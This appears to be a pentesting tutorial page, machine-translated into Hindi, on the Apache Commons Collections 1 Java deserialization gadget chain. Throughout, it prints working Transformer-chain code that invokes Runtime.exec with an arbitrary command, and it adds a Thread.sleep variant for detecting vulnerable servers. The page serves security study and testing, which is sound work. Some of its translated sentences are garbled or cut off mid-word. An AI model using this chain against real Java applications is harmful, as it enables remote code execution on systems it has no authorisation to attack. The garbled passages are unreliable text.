CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

जावा ट्रांसफॉर्मर्स से Rutime exec()

कई स्थानों पर आप एक जावा डेसीरियलाइज़ेशन पेलोड पा सकते हैं जो अपाचे कॉमन कलेक्शन्स से ट्रांसफॉर्मर्स का उपयोग करता है जैसे निम्नलिखित:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

अगर आप जावा डीसीरियलाइज़ेशन पेलोड के बारे में कुछ नहीं जानते हैं तो यह समझना कठिन हो सकता है कि यह कोड क्यों एक कैल्क को निष्पादित करेगा।

सबसे पहले आपको यह जानना चाहिए कि जावा में Transformer एक ऐसी चीज है जो एक क्लास को प्राप्त करती है और उसे एक दूसरे के लिए रूपांतरित करती है। इसके अलावा यह दिलचस्प है कि यहाँ निष्पादित पेलोड समतुल्य है:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

या अधिक सटीकता से, आखिर में क्या निष्पादित होगा:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

कैसे

तो, पहले पेलोड में कैसे प्रस्तुत है जो उन "सरल" एक-लाइनर्स के समान हैं?

पहली बात तो यह है कि पेलोड में एक ट्रांसफॉर्म की श्रृंखला (एरे) बनाई गई है:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

यदि आप कोड पढ़ें तो आप देखेंगे कि यदि आप किसी भावी आदेशों को निषेधित करने के लिए सरणी के परिवर्तनों को किसी प्रकार जोड़ते हैं तो आप विचार कर सकते हैं।

तो, वे परिवर्तन कैसे जोड़े जाते हैं?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

आप पेयलोड के अंतिम खंड में देख सकते हैं कि एक Map object बनाया गया है। फिर, decorate फ़ंक्शन LazyMap से मानचित्र ऑब्ज

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

और फिर महान समापन को क्रियान्वित किया जाता है: lazyMap.get("anything");

यह get फ़ंक्शन का कोड है:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

और यह है transform फ़ंक्शन का कोड

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

इसलिए, याद रखें कि फैक्टरी के अंदर हमने chainedTransformer को सहेजा था और transform फ़ंक्शन के अंदर हम सभी उन ट्रांसफ़ॉर्मर्स के माध्यम से जा रहे हैं जो एक के बाद एक चेन किए गए हैं और एक के बाद एक को क्रियान्वित कर रहे हैं। मजेदार बात यह है कि प्रत्येक ट्रांसफ़ॉर्मर object का उपयोग कर रहा है और **ऑब्ज

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

ध्यान दें कि value प्रत्येक transform का इनपुट है और पिछले transform का आउटपुट है, जिससे एक-लाइनर का निष्पादन संभव होता है:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

ध्यान दें कि यहाँ उन गैजेट्स की व्याख्या की गई थी जो ComonsCollections1 पेलोड के लिए उपयोग किए गए थे। लेकिन यह छूट गई है कि यह सब कैसे आरंभ होता है। आप यहाँ देख सकते हैं कि ysoserial, इस पेलोड को निष्पादित करने के लिए, एक AnnotationInvocationHandler ऑब्जेक्ट का उपयोग करता है क्योंकि जब इस ऑब्जेक्ट को डीसीरियलाइज़ किया जाता है, तो यह payload.get() फ़ंक्शन को आमंत्रित करेगा जो पूरे पेलोड को निष्पादित करेगा

जावा थ्रेड स्लीप

यह पेलोड हैंडी हो सकता है ताकि पता लगाया जा सके कि क्या वेब कमजोर है क्योंकि यह एक स्लीप को निष्पादित करेगा अगर यह है

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

अधिक गैजेट

आप यहाँ अधिक गैजेट्स पा सकते हैं: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

Last updated